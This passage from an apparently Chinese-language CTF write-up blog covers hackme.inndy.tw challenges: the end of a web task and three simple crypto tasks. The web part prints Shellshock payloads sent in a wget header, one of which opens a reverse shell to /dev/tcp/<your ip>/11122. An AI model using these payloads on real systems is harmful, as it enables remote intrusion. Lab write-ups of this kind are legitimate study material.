int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}

审计这个c,大致原理就是:1秒之内把他输出的再输入回去,就可以打出文件内容
此时我们的思路很简单,运行这个c,再把这个c输出在1s内再输回去,但是纯靠这样的交互,速度极慢,所以容易想到,要不要拿个shell?
这里给出2种拿shell的思路

1
2
1.反弹shell
2.找到可写目录,并写入文件,利用文件包含即可

这里我选择反弹shell(因为后面还会写文件,所以这里选择反弹,就不写了)

1
wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/11122 0>&1" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

然后一会儿就能收到shell
.png)
而下面就只要解决如何在1s内输入c文件输出的结果这个问题了
这里我选择了linux下的重定向,我们将输出写到某个文件中,再自动输入即可,这样即可达到目的
我们先去探索可写目录,容易发现/var/tmp具有写权限
我们测试一下

1
wget --header="X-Exploit: () { : ; }; echo 'sky' > /var/tmp/sky" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

.png)
即可发现该目录可写
我的做法:

1
flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag

即可在skyflag中读到flag

Crypto

easy

得到526b78425233745561476c7a49476c7a4947566863336b7349484a705a3268305033303d
转16进制
RkxBR3tUaGlzIGlzIGVhc3ksIHJpZ2h0P30=
解码即可得到flag

r u kidding

题目给出
EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}
简单凯撒解密即可获得flag

xor

运行github开源的xortool脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
G:\python2.7\Scripts>python xortool -c 20 xor
The most probable key lengths:
1: 8.6%
3: 10.6%
6: 9.4%
9: 21.8%
12: 7.1%
15: 6.2%
18: 14.1%
27: 9.7%
36: 7.1%
45: 5.4%
Key-length can be 3*n
1 possible key(s) of length 9:
hackmepls
Found 1 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv

得到key:hackmepls
运行脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
f1 = open("xor","rb")
f2 = open("key.txt","rb")
f3 = open("flagtest.txt","wb")
key = f2.read().replace(" ", "")
# key = "47 6F 6F 64 4C 75 63 6B 54 6F 59 6F 75".replace(" ", "").decode("hex")
flag = f1.read()
flag_length = len(flag)
key_length = len(key)
flag_res = ""
for i in range(0,flag_length):
xor_str = chr(ord(flag[i])^ord(key[i%key_length]))
flag_res += xor_str
f3.write(flag_res)
f3.close()

即可在解密后的明文中找到flag

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. WEB
    1. 1.1. hide and seek
    2. 1.2. guestbook
    3. 1.3. LFI
    4. 1.4. homepage
    5. 1.5. ping
    6. 1.6. scoreboard
    7. 1.7. login as admin 0
    8. 1.8. login as admin 0.1
    9. 1.9. Login as Admin 1
    10. 1.10. login as admin 1.2
    11. 1.11. login as admin 3
    12. 1.12. login as admin 4
    13. 1.13. login as admin 6
    14. 1.14. login as admin 7
    15. 1.15. dafuq-manager 1
    16. 1.16. dafuq-manager 2
    17. 1.17. dafuq-manager 3
    18. 1.18. wordpress 1
    19. 1.19. wordpress 2
    20. 1.20. webshell
    21. 1.21. command-executor
  2. 2. Crypto
    1. 2.1. easy
    2. 2.2. r u kidding
    3. 2.3. xor